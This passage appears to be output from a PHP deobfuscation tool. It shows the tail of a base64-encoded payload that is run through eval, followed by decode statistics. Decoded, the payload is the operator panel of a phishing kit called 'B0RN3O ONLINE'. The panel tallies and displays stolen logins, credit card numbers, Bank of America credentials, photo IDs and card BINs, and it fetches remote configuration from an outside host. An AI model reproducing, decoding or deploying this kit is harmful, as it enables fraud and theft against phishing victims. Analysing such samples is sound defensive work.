ZWFkZXIgc3R5bGU9ImZvbnQtZmFtaWx5OiBDb3VyaWVyO2NvbG9yOmdyZWVuOyBmb250LXNpemU6IDMwcHg7Ij4tPSBCMFJOM08gT05MSU5FID0tPC9oZWFkZXI+PC9iPjwvY2VudGVyPg0KCQknLiRmb290ZXIuJw0KICAgICAgICAgICAgPGgyIHN0eWxlPSJ0ZXh0LWRlY29yYXRpb246IFVuZGVybGluZTtmb250LWZhbWlseTogQ291cmllcjsiPlNldHRpbmcgTm90aWNlPC9oMj4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxmb3JtIG1ldGhvZD0icG9zdCI+DQogICAgICAgICAgICAgICAgICAgIDxwIHN0eWxlPSJmb250LWZhbWlseTogQ291cmllcjsiPkNvc3R1bSBOb3RpY2UgTG9ja2VkL0ludm9pY2UgTm90aWNlIDoJIDxicj4NCiAgICAgICAgICAgICAgICAgICAgPHRleHRhcmVhIHN0eWxlPSJib3JkZXItY29sb3I6IHRyYW5zcGFyZW50OyIgbmFtZT0ibm90aWNlY29uZmlnIiByb3dzPSI0MCIgY29scz0iNjAiPicuJGNvbnRlbnRzLic8L3RleHRhcmVhPg0KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNlbnRlciI+DQogICAgICAgICAgICAgICAgICAgIDxpbnB1dCBzdHlsZT0iY29sb3I6IGJsdWU7Ym9yZGVyLWNvbG9yOiBncmVlbiIgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnV0dG9uIiB2YWx1ZT0ic2ltcGFuIj4NCiAgICAgICAgICAgICAgICA8L2Rpdj4NCgkJCTwvZGl2Pg0KICAgICAgICA8L2Zvcm0+DQogICAgPC9kaXY+JzsNCn0NCg0KaWYoJHBhZ2UgPT0gImxvZ2dlciIpIHsNCiAgICBpZigkX1NFU1NJT05bJ2VtYWlsJ10gPT0gIiIgb3IgJF9TRVNTSU9OWydwYXNzd29yZCddID09ICIiKSB7DQogICAgICAgIGRpZSgiU0VTU0lPTiBFWFBJUkVEISIpOw0KICAgIH0NCiRjbGljayA9ICIuLi9yZXN1bHQvdG90YWxfY2xpY2sudHh0IjsNCiRmaWxlID0gZm9wZW4oJGNsaWNrLCAiciIpOw0KJHRvdGFsX2NsaWNrID0gZnJlYWQoJGZpbGUsIGZpbGVzaXplKCRjbGljaykpOw0KJHRvdGFsX2NsaWNrID0gc3Vic3RyX2NvdW50KCR0b3RhbF9jbGljaywgIm4iKTsNCmZjbG9zZSgkZmlsZSk7DQppZigkdG90YWxfY2xpY2sgPT0gMCkgew0KICAgICR0b3RhbF9jbGljayA9ICI8Zm9udCBjb2xvcj0ncmVkJz4kdG90YWxfY2xpY2s8L2ZvbnQ+IjsNCn1lbHNlew0KICAgICR0b3RhbF9jbGljayA9ICI8Zm9udCBjb2xvcj0nZ3JlZW4nPiR0b3RhbF9jbGljazwvZm9udD4iOw0KfQ0KDQokY2xpY2sgPSAiLi4vcmVzdWx0L3RvdGFsX2xvZ2luLnR4dCI7DQokZmlsZSA9IGZvcGVuKCRjbGljaywgInIiKTsNCiR0b3RhbF9sb2dpbiA9IGZyZWFkKCRmaWxlLCBmaWxlc2l6ZSgkY2xpY2spKTsNCiR0b3RhbF9sb2dpbiA9IHN1YnN0cl9jb3VudCgkdG90YWxfbG9naW4sICJuIik7DQpmY2xvc2UoJGZpbGUpOw0KaWYoJHRvdGFsX2xvZ2luID09IDApIHsNCiAgICAkdG90YWxfbG9naW4gPSAiPGZvbnQgY29sb3I9J3JlZCc+JHRvdGFsX2xvZ2luPC9mb250PiI7DQp9ZWxzZXsNCiAgICAkdG90YWxfbG9naW4gPSAiPGZvbnQgY29sb3I9J2dyZWVuJz4kdG90YWxfbG9naW48L2ZvbnQ+IjsNCn0NCg0KJGNsaWNrID0gIi4uL3Jlc3VsdC90b3RhbF9jYy50eHQiOw0KJGZpbGUgPSBmb3BlbigkY2xpY2ssICJyIik7DQokdG90YWxfY2MgPSBmcmVhZCgkZmlsZSwgZmlsZXNpemUoJGNsaWNrKSk7DQokdG90YWxfY2MgPSBzdWJzdHJfY291bnQoJHRvdGFsX2NjLCAibiIpOw0KZmNsb3NlKCRmaWxlKTsNCmlmKCR0b3RhbF9jYyA9PSAwKSB7DQogICAgJHRvdGFsX2NjID0gIjxmb250IGNvbG9yPSdyZWQnPiR0b3RhbF9jYzwvZm9udD4iOw0KfWVsc2V7DQogICAgJHRvdGFsX2NjID0gIjxmb250IGNvbG9yPSdncmVlbic+JHRvdGFsX2NjPC9mb250PiI7DQp9DQoNCiRjbGljayA9ICIuLi9yZXN1bHQvdG90YWxfYmFuay50eHQiOw0KJGZpbGUgPSBmb3BlbigkY2xpY2ssICJyIik7DQokdG90YWxfYmFuayA9IGZyZWFkKCRmaWxlLCBmaWxlc2l6ZSgkY2xpY2spKTsNCiR0b3RhbF9iYW5rID0gc3Vic3RyX2NvdW50KCR0b3RhbF9iYW5rLCAibiIpOw0KZmNsb3NlKCRmaWxlKTsNCmlmKCR0b3RhbF9iYW5rID09IDApIHsNCiAgICAkdG90YWxfYmFuayA9ICI8Zm9udCBjb2xvcj0ncmVkJz4kdG90YWxfYmFuazwvZm9udD4iOw0KfWVsc2V7DQogICAgJHRvdGFsX2JhbmsgPSAiPGZvbnQgY29sb3I9J2dyZWVuJz4kdG90YWxfYmFuazwvZm9udD4iOw0KfQ0KDQokY2xpY2sgPSAiLi4vcmVzdWx0L3RvdGFsX3VwbG9hZC50eHQiOw0KJGZpbGUgPSBmb3BlbigkY2xpY2ssICJyIik7DQokdG90YWxfcGhvdG8gPSBmcmVhZCgkZmlsZSwgZmlsZXNpemUoJGNsaWNrKSk7DQokdG90YWxfcGhvdG8gPSBzdWJzdHJfY291bnQoJHRvdGFsX3Bob3RvLCAibiIpOw0KZmNsb3NlKCRmaWxlKTsNCmlmKCR0b3RhbF9waG90byA9PSAwKSB7DQogICAgJHRvdGFsX3Bob3RvID0gIjxmb250IGNvbG9yPSdyZWQnPiR0b3RhbF9waG90bzwvZm9udD4iOw0KfWVsc2V7DQogICAgJHRvdGFsX3Bob3RvID0gIjxmb250IGNvbG9yPSdncmVlbic+JHRvdGFsX3Bob3RvPC9mb250PiI7DQp9DQoNCiRjbGljayA9ICIuLi9yZXN1bHQvdG90YWxfYm90LnR4dCI7DQokZmlsZSA9IGZvcGVuKCRjbGljaywgInIiKTsNCiR0b3RhbF9ib3QgPSBmcmVhZCgkZmlsZSwgZmlsZXNpemUoJGNsaWNrKSk7DQokdG90YWxfYm90ID0gc3Vic3RyX2NvdW50KCR0b3RhbF9ib3QsICJuIik7DQpmY2xvc2UoJGZpbGUpOw0KaWYoJHRvdGFsX2JvdCA9PSAwKSB7DQogICAgJHRvdGFsX2JvdCA9ICI8Zm9udCBjb2xvcj0ncmVkJz4kdG90YWxfYm90PC9mb250PiI7DQp9ZWxzZXsNCiAgICAkdG90YWxfYm90ID0gIjxmb250IGNvbG9yPSdncmVlbic+JHRvdGFsX2JvdDwvZm9udD4iOw0KfQ0KDQokY2xpY2sgPSAiLi4vcmVzdWx0L3RvdGFsX2Jpbi50eHQiOw0KJGZpbGUgPSBmb3BlbigkY2xpY2ssICJyIik7DQokdG90YWxfYmluID0gZnJlYWQoJGZpbGUsIGZpbGVzaXplKCRjbGljaykpOw0KZmNsb3NlKCRmaWxlKTsNCg0KJGNsaWNrID0gIi4uL3Jlc3VsdC90b3RhbF9ib3QudHh0IjsNCiRmaWxlID0gZm9wZW4oJGNsaWNrLCAiciIpOw0KJGxvZ19ib3QgPSBmcmVhZCgkZmlsZSwgZmlsZXNpemUoJGNsaWNrKSk7DQpmY2xvc2UoJGZpbGUpOw0KDQokY2xpY2sgPSAiLi4vcmVzdWx0L2xvZ192aXNpdG9yLnR4dCI7DQokZmlsZSA9IGZvcGVuKCRjbGljaywgInIiKTsNCiRsb2dfdmlzaXRvciA9IGZyZWFkKCRmaWxlLCBmaWxlc2l6ZSgkY2xpY2spKTsNCmZjbG9zZSgkZmlsZSk7DQoNCmVjaG8gJzxjZW50ZXI+PGI+PGhlYWRlciBzdHlsZT0iZm9udC1mYW1pbHk6IENvdXJpZXI7Y29sb3I6Z3JlZW47IGZvbnQtc2l6ZTogMzBweDsiPkIwUk4zTyBPTkxJTkU8L2hlYWRlcj48L2I+PC9jZW50ZXI+DQoJCScuJGZvb3Rlci4nDQogICAgICAgICAgICA8aDIgc3R5bGU9InRleHQtZGVjb3JhdGlvbjogVW5kZXJsaW5lO2ZvbnQtZmFtaWx5OiBDb3VyaWVyO2NvbG9yOmJsYWNrOyI+U3RhdGlzdGljPC9oMj4NCiAgICAgICAgICAgIDxwIHN0eWxlPSJmb250LWZhbWlseTogQ291cmllcjtjb2xvcjpncmVlbjsiPiQgQ2xpY2sgOgkgJy4kdG90YWxfY2xpY2suJw0KICAgICAgICAgICAgPHAgc3R5bGU9ImZvbnQtZmFtaWx5OiBDb3VyaWVyO2NvbG9yOmdyZWVuOyI+JCBMb2dpbiA6CSAnLiR0b3RhbF9sb2dpbi4nDQogICAgICAgICAgICA8cCBzdHlsZT0iZm9udC1mYW1pbHk6IENvdXJpZXI7Y29sb3I6Z3JlZW47Ij4kIENyZWRpdCBDYXJkIDoJICcuJHRvdGFsX2NjLicNCiAgICAgICAgICAgIDxwIHN0eWxlPSJmb250LWZhbWlseTogQ291cmllcjtjb2xvcjpncmVlbjsiPiQgQmFuayBPZiBBbWVyaWNhIDoJICcuJHRvdGFsX2JhbmsuJw0KICAgICAgICAgICAgPHAgc3R5bGU9ImZvbnQtZmFtaWx5OiBDb3VyaWVyO2NvbG9yOmdyZWVuOyI+JCBQaG90byBDQy9JRCA6CSAnLiR0b3RhbF9waG90by4nDQoJCQk8cCBzdHlsZT0iZm9udC1mYW1pbHk6IENvdXJpZXI7Y29sb3I6Z3JlZW47Ij4kIEJvdCA6CSAnLiR0b3RhbF9ib3QuJzwvcD4NCiAgICAgICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iYm9yZGVyLWNvbG9yOiAjMDA5NDAwIiByb3dzPSIyMCIgY29scz0iNjAiIGRpc2FibGVkPicuJGxvZ192aXNpdG9yLic8L3RleHRhcmVhPjxicj4NCgkJCTxwIHN0eWxlPSJmb250LWZhbWlseTogQ291cmllcjsiPiQgQmluIDoJPGJyPg0KCQkJPHRleHRhcmVhIHN0eWxlPSJib3JkZXItY29sb3I6ICMwMDk0MDAiIHJvd3M9IjEyIiBjb2xzPSI2MCIgZGlzYWJsZWQ+Jy4kdG90YWxfYmluLic8L3RleHRhcmVhPjxicj4NCgkJCTxwIHN0eWxlPSJmb250LWZhbWlseTogQ291cmllcjsiPiQgQm90IExvZyA6CTxicj4NCgkJCTx0ZXh0YXJlYSBzdHlsZT0iYm9yZGVyLWNvbG9yOiAjMDA5NDAwIiByb3dzPSIxMiIgY29scz0iNjAiIGRpc2FibGVkPicuJGxvZ19ib3QuJzwvdGV4dGFyZWE+PGJyPg0KICAgICAgICAgICAgPGRpdiBjbGFzcz0iY2VudGVyIj4NCgkJCSA8Zm9ybSBtZXRob2Q9IlBPU1QiPg0KICAgICAgICAgICAgICAgPGlucHV0IHN0eWxlPSJjb2xvcjogI2RhMDAwMDtib3JkZXItY29sb3I6ICMwMDk0MDAiIHR5cGU9InN1Ym1pdCIgbmFtZT0icmVzZXRkYXRhIiBjbGFzcz0iYnV0dG9uIiB2YWx1ZT0icmVzZXQiPg0KICAgICAgICAgICAgPC9kaXY+PC9mb3JtPg0KICAgIDwvZGl2Pic7DQp9DQoNCmlmKCRwYWdlID09ICJsb2dvdXQiKSB7DQogICAgc2Vzc2lvbl9kZXN0cm95KCk7DQogICAgZWNobyAiVGVyaW1hIEthc2loLCBTZWxhbWF0IEphbGFuICEiOw0KCWVjaG8gIjxNRVRBIEhUVFAtRVFVSVY9J3JlZnJlc2gnIGNvbnRlbnQ9JzE7IFVSTD0/cHJpdj0iLiRrZXkuIic+IjsNCn0NCg0KaWYoaXNzZXQoJF9QT1NUWydyZXNldGRhdGEnXSkpIHsNCiAgICBpZigkX1NFU1NJT05bJ2VtYWlsJ10gPT0gIiIgb3IgJF9TRVNTSU9OWydwYXNzd29yZCddID09ICIiKSB7DQogICAgICAgIGRpZSgiU0VTU0lPTiBFWFBJUkVEISIpOw0KICAgIH0NCiAgICB1bmxpbmsoIi4uL3Jlc3VsdC90b3RhbF9sb2dpbi50eHQiKTsNCiAgICB1bmxpbmsoIi4uL3Jlc3VsdC90b3RhbF9jYy50eHQiKTsNCiAgICB1bmxpbmsoIi4uL3Jlc3VsdC90b3RhbF91cGxvYWQudHh0Iik7DQogICAgdW5saW5rKCIuLi9yZXN1bHQvdG90YWxfY2xpY2sudHh0Iik7DQogICAgdW5saW5rKCIuLi9yZXN1bHQvdG90YWxfYmFuay50eHQiKTsNCgl1bmxpbmsoIi4uL3Jlc3VsdC90b3RhbF9iaW4udHh0Iik7DQoJdW5saW5rKCIuLi9yZXN1bHQvdG90YWxfYm90LnR4dCIpOw0KICAgIHVubGluaygiLi4vcmVzdWx0L2xvZ192aXNpdG9yLnR4dCIpOw0KICAgIGVjaG8gIjxzY3JpcHQgdHlwZT0ndGV4dC9qYXZhc2NyaXB0Jz53aW5kb3cudG9wLmxvY2F0aW9uPSc/cHJpdj1sb2dnZXInOzwvc2NyaXB0PiI7DQp9DQoNCmZ1bmN0aW9uIGxvYWRfY29uZigpIHsNCiAgICAkZ2V0ID0gY3VybF9pbml0KCk7DQogICAgY3VybF9zZXRvcHQoJGdldCwgQ1VSTE9QVF9VUkwsImh0dHBzOi8vcXVpY2thY3QuZGUvY29uZmlnLnR4dCIpOw0KICAgIGN1cmxfc2V0b3B0KCRnZXQsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIHRydWUpOw0KICAgICRzZXJ2ZXJfb3V0cHV0ID0gY3VybF9leGVjICgkZ2V0KTsNCiAgICBjdXJsX2Nsb3NlKCRnZXQpOw0KICAgIHJldHVybiAkc2VydmVyX291dHB1dDsNCn0NCj8+")); ?>
Function Calls
| base64_decode | 1 |
Stats
| MD5 | fdeb1b97676d665d0f1b0e08da6c3729 |
| Eval Count | 1 |
| Decode Time | 87 ms |